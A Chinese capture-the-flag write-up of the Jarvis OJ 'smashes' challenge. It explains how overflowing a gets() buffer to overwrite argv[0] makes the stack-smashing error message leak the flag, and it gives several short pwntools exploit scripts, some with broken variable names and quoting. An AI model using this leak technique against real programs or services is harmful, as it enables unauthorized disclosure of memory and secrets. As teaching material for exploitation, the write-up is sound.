ssp leak

故意触发栈溢出保护。

题目地址:https://dn.jarvisoj.com/challengefiles/smashes.44838f6edd4408a53feb2e2bbfe5b229

关于canary对于栈的保护,它的值一旦被改变程序便会结束。后面会把找到的与栈有关的放在一起。

过程:

 文件的堆栈保护开启,随机地址没有的话方便我们对特殊位置进行溢出覆盖。

使用ida加载找到关键部分。


ssp leak_第1张图片
使用了gets函数

很开心的是我们可以通过gets函数进行任意长度的写入。但是因为传入的字符串末尾用 '/n' 结束,没法绕过canary的检测。

 关于canary的值,在最高位都是 '0x00'结束。为的就是如果在canary的上方输入的字符串,一般都是用0截断,如果我们将字符串的空间写满紧挨着canary的位置。那么当输出这个字符串的时候,这个没有截断的canary的值很容易就被打印出来。

ssp leak_第2张图片
example


 在这个程序中没有地方打印出flag的地方,也没办法绕过检测。那么如果故意触发canary的检测,能不能让canary打印出我们要的东西。

 正常情况下当我们触发检测的时候程序会进入检测报错的函数,看下它的源码。

__stack_chk_fail :

void

__attribute__ ((noreturn))

__stack_chk_fail (void) {

__fortify_fail ("stack smashing detected");

}


fortify_fail:

void


__attribute__ ((noreturn))

__fortify_fail (msg)

constchar*msg; {

/* The loop is added only to keep gcc happy. */

while(1)

__libc_message (2,"*** %s ***: %s terminated\n", msg, __libc_argv[0] ?:"")

}

libc_hidden_def (__fortify_fail)



只要我们覆盖掉指向argv[0]的指针,那么就能输出想要的值。


尝试下:

ssp leak_第3张图片

poc 1.0

from pwn import*

//a.process('smaches')

//a= remote('pwn.jarvisoj.com', 9877)

a.recv()

cn.sendline(p64(0x0000000000600D20)*264)

a.recv()

a.sendline()

a.interactive()



可并没有按照我的预期打印出flag,但换成其他的地址都成功打印出来了。

在后来查的时候找到了这道题的blog,https://veritas501.space/2017/04/28/%E8%AE%BAcanary%E7%9A%84%E5%87%A0%E7%A7%8D%E7%8E%A9%E6%B3%95/?tdsourcetag=s_pctim_aiomsg   里面还有很多canary的总结。

原因是在fun1的末尾有这样一句


   在0x0000000000600D20位置的flag已经被覆盖掉了,这个位置的flag已经找不到了。

 在接下来用的就是ELF的重映射,如果加载的文件体积足够小,那么很有可能在其他地方也被加载。gdb调试,注意断点位置。如果运行到结束地址的数据会被覆盖。继而找不到。

ssp leak_第4张图片

poc2

from pwn import*

context.log_level = 'debug'

a=remote("pwn.jarvisoj.com","9877")

a.recv()

cn.sendline(p64(0x400d20)*264)

a.recv()

a.sendline(‘hello')

a.interactive()




ps:我们要求的只是触发canary保护,所以只要比字符串的栈空间大就行

















a = process('pwn_smashes')

a.recv()

a.sendline(p64(0x0000000000400934)*200)#直接用我们所需的地址占满整个栈

a.recv()

a.sendline()

a.recv()

你可能感兴趣的:(ssp leak)